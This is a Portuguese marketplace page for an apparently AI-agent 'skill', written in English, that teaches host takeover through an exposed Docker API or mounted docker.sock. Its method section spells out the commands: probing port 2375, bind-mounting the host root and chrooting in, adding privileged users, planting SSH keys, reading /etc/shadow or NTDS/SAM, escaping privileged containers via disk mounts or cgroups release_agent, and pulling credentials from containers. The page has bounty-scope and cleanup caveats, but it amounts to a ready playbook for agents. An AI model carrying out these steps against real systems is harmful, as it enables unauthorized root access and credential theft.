Pular para o conteúdo
Novo

DeepSeek V4.1 Flash grátis por 7 dias: 10M tokens por dia após recarga de $10 ou mais. Até 30/11.

Como funciona
noorqureshi/cloud-docker-api-abuseLinux, cloud e containers

cloud-docker-api-abuse

⁨Turn an exposed container daemon or an over-privileged container into host compromise — a Docker API on 2375/2376, a mounted docker.sock, or a privileged/`-v /:/host` container. Load when you find an open Docker/containerd socket, port 2375/2376, a container you can run images in, or you landed insi⁩

v2026.10.14-ee0e0c53 instalações+3 em 7 dias27 EstrelasMITsincronizado há 22 horas

Instalar

Ainda não tem a CLI da NotHoly? Instale primeiro.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/cloud-docker-api-abuse

Grava em ⁦~/.notholy/skills⁩ depois de conferir a assinatura e o SHA-256.

AssinaturaAssinado, ed25519
2ci9wo8IRV…hnYk5rBQ==A CLI confere o SHA-256 e a assinatura antes de gravar qualquer arquivo.
Pacoteda5bacc1…d5d564c4
da5bacc1f79d…30afd5d564c41 arquivo · ⁦1.9 KB⁩
VarreduraBaixonenhum achado
A varredura não encontrou nada para apontar nesta versão.Ver a varredura completa
Fontegithub.com/NoorQureshi/security-skills/tree/main/skills/cloud/cloud-docker-api-abuse@ee0e0c5

Este item ainda não foi escrito no seu idioma, então aparece em English.

When it applies

You can reach a container control plane you shouldn't: an unauthenticated Docker API on 2375/tcp (or 2376 without client-cert auth), a mounted /var/run/docker.sock inside a container you control, membership in the docker group, or a privileged/host-mounted container. Any of these is effectively root on the host. Complements cloud-container-escape (which focuses on kernel/runtime breakouts); this one is about the daemon/socket as the vector.

Why it works

The Docker daemon runs as root and will build/run any container with any mount you ask for. Anyone who can talk to its API or socket can start a container that bind-mounts the host filesystem (-v /:/host) or runs --privileged — then read/write host files, add a root user, or chroot in. There's no privilege boundary between "can use the daemon" and "root on the host".

Method

  1. Confirm the vector.
    • Remote API: curl http://<host>:2375/version and /containers/json — a response = unauthenticated control.
    • In-container socket: ls -la /var/run/docker.sock; docker CLI or curl --unix-socket.
    • docker group: id | grep docker.
  2. Point the CLI at the daemon (remote): export DOCKER_HOST=tcp://<host>:2375 then docker ps.
  3. Mount the host and take root — run a container bind-mounting the host root and act on it:
    text
    docker run -v /:/host --rm -it alpine chroot /host sh
    From there: add a privileged user, drop an SSH key into /root/.ssh/authorized_keys, read /etc/shadow, or (Windows host) pull NTDS/SAM.
  4. Privileged-container escape (already inside one): --privileged exposes host devices — mount the host disk (fdisk -l → mount /dev/sdaN /mnt) or abuse cgroups release_agent to run a command as root on the host.
  5. Pull secrets from the daemon: image layers, env vars (docker inspect), and other containers' filesystems often hold credentials → pivot with recon/cloud-*.

Gotchas

  • 2376 is usually TLS + client-cert — if it rejects you without a cert, it's not the open one; 2375 is the plaintext/no-auth port to look for.
  • Read-only or restricted socket mounts may allow listing but not run — check what verbs work before assuming full control.
  • Non-destructive by default — creating containers/users changes host state; on bounty confirm RCE minimally (e.g. read a root-only file) and stop, per reporting-triage-validation.
  • Clean up every container, image, and user you create.

Verify success

Read or write a host-only resource from your mounted/escaped context (e.g. /etc/shadow, a file in another user's home, or a root-owned path) — proving host-level access from the container plane.

References

Docker Engine API docs; docker.sock escape write-ups; MITRE ATT&CK T1610/T1611. Kernel/runtime breakouts: cloud-container-escape.

Arquivos desta versão

Permissões

PermissãoDeclaradaEncontrada na varredura
Lê arquivosNãoNão
Grava arquivosNãoNão
Roda comandos no shellSimSim
Usa a redeSimSim
Usa conectoresNãoNão
Controla um navegadorNãoNão

Achados da varredura

Revisado em 13 de nov. de 2026

A varredura não encontrou nada para apontar nesta versão.

Uma varredura limpa reduz o risco, mas não prova que o pacote é seguro. Leia o que você instala.

VersãoPublicada emCommitSHA-256AssinaturaMudança de permissão
v2026.10.14-ee0e0c513 de nov. de 2026ee0e0c5da5bacc1Assinada–

Pergunte tudo o que o seu escopo permite.

Crie a conta, adicione créditos e faça a primeira pergunta no chat ou no terminal.

  1. 1/3

    Crie a conta

    Individual ou empresa. Dá para virar empresa depois sem perder saldo nem chaves.

    Pessoa físicaEmpresa
  2. 2/3

    Adicione créditos

    No cartão. Você paga por token, sem assinatura.

    $5.00recarga mínima
  3. 3/3

    Pergunte

    No chat, ou instale o CLI e rode notholy login no terminal.

    $ notholy login